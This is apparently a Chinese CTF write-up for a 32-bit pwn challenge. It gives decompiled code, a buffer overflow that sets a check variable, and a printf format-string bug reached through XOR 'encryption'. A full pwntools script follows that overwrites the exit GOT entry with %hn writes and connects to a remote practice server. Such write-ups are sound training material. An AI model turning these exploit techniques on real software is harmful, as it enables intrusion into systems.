printf格式化字符串漏洞
漏洞点:
main中读name有溢出,覆盖到v4可以进入下一步
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[28]; // [esp+Ch] [ebp-2Ch] BYREF
int v4; // [esp+28h] [ebp-10h]
unsigned int v5; // [esp+2Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
puts("What is your name?");
fflush(stdout);
read(0, buf, 0x20u);
fflush(stdin);
if ( v4 == 111458341 ) // buf正好覆盖到v4
{
secretFunc();
}
else
{
puts("I've heard better");
fflush(stdout);
}
exit(0);
}
第2步有printf 但要经过异或加密
int secretFunc()
{
unsigned int i; // eax
int *j; // [esp+8h] [ebp-40h]
ssize_t v3; // [esp+18h] [ebp-30h]
int buf[10]; // [esp+20h] [ebp-28h] BYREF
void *retaddr; // [esp+4Ch] [ebp+4h]
buf[7] = __readgsdword(0x14u);
for ( i = 0; i < 7; ++i )
buf[i] = 0;
retAddr = (int)retaddr;
puts("Say that again please");
fflush(stdout);
v3 = read(0, buf, 0x1Bu);
*((_BYTE *)buf + v3) = 0;
fflush(stdin);
for ( j = buf; j < (int *)((char *)&buf[-1] + v3); j = (int *)((char *)j + 1) )
*j ^= 0x5F7B4153u;
puts("Your name was encrypted using the best encryption in the world");
printf("This is your new name: ");
printf((const char *)buf); // 修改 got.exit,retAddr 2字节为 0x8596(superSecretFunc)
fflush(stdout);
if ( retaddr != (void *)retAddr )
exit(1);
return 0;
}
解题思路:
- name溢出覆盖v4
- p32(elf.got['exit'])+p32(0x804a04c) +b'%34190c%12$hn%13$hn' 正好27个字符,一个都不少
from pwn import *
local = 0
if local == 1: #local
p = process('./pwn')
elif local == 0: #remote
p = remote('node4.buuoj.cn', 29236)
libc_elf = ELF('/home/shi/pwn/libc6-i386_2.27-3u1/libc-2.27.so')
one = [0x3cbea,0x3cbec,0x3cbf0,0x3cbf7,0x6729f,0x672a0,0x13573e,0x13573f]
libc_start_main_ret = 0x1eee5
elf = ELF('./pwn')
context(arch = 'i386', log_level='debug')
def mydecode(pay):
enc = bytes.fromhex('5F7B4153')[::-1]
tmp = list(pay + b'\x00'*4)
for i in range(len(pay)-4):
for j in range(4):
tmp[i+j] = tmp[i+j]^enc[j]
return bytes(tmp)
#gdb.attach(p, 'b*0x80486bb')
p.sendafter(b"What is your name?\n", b'A'*0x1c+ p32(111458341))
#payload = b'%x'*13+b'\x00'
payload = p32(elf.got['exit'])+p32(0x804a04c) +b'%34190c%12$hn%13$hn'
p.sendafter(b"Say that again please\n", mydecode(payload)[:27])
p.recv()
p.interactive()